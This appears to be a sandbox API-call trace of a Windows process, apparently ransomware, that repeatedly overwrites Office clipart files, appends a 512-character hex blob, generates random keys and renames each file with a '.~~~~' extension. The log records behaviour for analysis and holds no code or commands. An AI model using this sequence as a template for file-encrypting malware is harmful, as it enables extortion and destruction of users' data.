	[0100.447] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.447] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.447] CloseHandle (hObject=0x144) returned 1
	[0100.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.447] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.~~~~")) returned 1
	[0100.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.449] GetLastError () returned 0x0
	[0100.458] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.459] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.459] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.459] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22044950083) returned 1
	[0100.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa590db30, dwHighDateTime=0x1d60e1e)) 
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862bb8
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862bb8 | out: hHeap=0x300000) returned 1
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864938
	[0100.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.460] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.460] GetLastError () returned 0x0
	[0100.461] GetLastError () returned 0x0
	[0100.461] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.461] GetLastError () returned 0x0
	[0100.461] GetLastError () returned 0x0
	[0100.499] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff4992, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.499] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xb66e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xb66e, lpOverlapped=0x0) returned 1
	[0100.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.500] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.501] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.501] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.501] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.501] CloseHandle (hObject=0x144) returned 1
	[0100.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.501] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.~~~~")) returned 1
	[0100.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.502] GetLastError () returned 0x0
	[0100.503] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.504] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.504] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.505] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22049479889) returned 1
	[0100.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa597ff50, dwHighDateTime=0x1d60e1e)) 
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862c98
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862c98 | out: hHeap=0x300000) returned 1
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864a68
	[0100.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.505] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.506] GetLastError () returned 0x0
	[0100.506] GetLastError () returned 0x0
	[0100.506] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.506] GetLastError () returned 0x0
	[0100.506] GetLastError () returned 0x0
	[0100.681] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb9d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.681] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x462e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x462e, lpOverlapped=0x0) returned 1
	[0100.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.683] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.683] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.684] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.684] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.684] CloseHandle (hObject=0x144) returned 1
	[0100.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.~~~~")) returned 1
	[0100.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.685] GetLastError () returned 0x0
	[0100.695] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.696] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.696] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.696] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22068631043) returned 1
	[0100.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa5b48fd0, dwHighDateTime=0x1d60e1e)) 
	[0100.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862e58
	[0100.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862e58 | out: hHeap=0x300000) returned 1
	[0100.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865058
	[0100.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.697] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.697] GetLastError () returned 0x0
	[0100.697] GetLastError () returned 0x0
	[0100.697] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.697] GetLastError () returned 0x0
	[0100.698] GetLastError () returned 0x0
	[0100.710] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffce68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.710] WriteFile (in: hFile=0x144, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x3198, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x25dfec0*=0x3198, lpOverlapped=0x0) returned 1
	[0100.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.712] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.712] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.712] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.712] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.712] CloseHandle (hObject=0x144) returned 1
	[0100.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.~~~~")) returned 1
	[0100.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.722] GetLastError () returned 0x0
	[0100.722] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.732] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.732] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.732] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22072195950) returned 1
	[0100.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa5b95290, dwHighDateTime=0x1d60e1e)) 
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862f00
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862f00 | out: hHeap=0x300000) returned 1
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28653e8
	[0100.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.733] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.733] GetLastError () returned 0x0
	[0100.733] GetLastError () returned 0x0
	[0100.733] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.733] GetLastError () returned 0x0
	[0100.733] GetLastError () returned 0x0
	[0100.747] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff9e6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.747] WriteFile (in: hFile=0x144, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x6196, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x25dfec0*=0x6196, lpOverlapped=0x0) returned 1
	[0100.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.748] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.748] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.748] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.748] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.748] CloseHandle (hObject=0x144) returned 1
	[0100.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.749] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.~~~~")) returned 1
	[0100.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.750] GetLastError () returned 0x0
	[0100.759] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.769] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.769] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.769] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22075922065) returned 1
	[0100.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa5c076b0, dwHighDateTime=0x1d60e1e)) 
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862fe0
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862fe0 | out: hHeap=0x300000) returned 1
	[0100.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28656e0
	[0100.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.770] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.770] GetLastError () returned 0x0
	[0100.770] GetLastError () returned 0x0
	[0100.770] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.770] GetLastError () returned 0x0
	[0100.770] GetLastError () returned 0x0
	[0100.853] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff4ed2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.853] WriteFile (in: hFile=0x144, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0xb12e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x25dfec0*=0xb12e, lpOverlapped=0x0) returned 1
	[0100.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.854] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
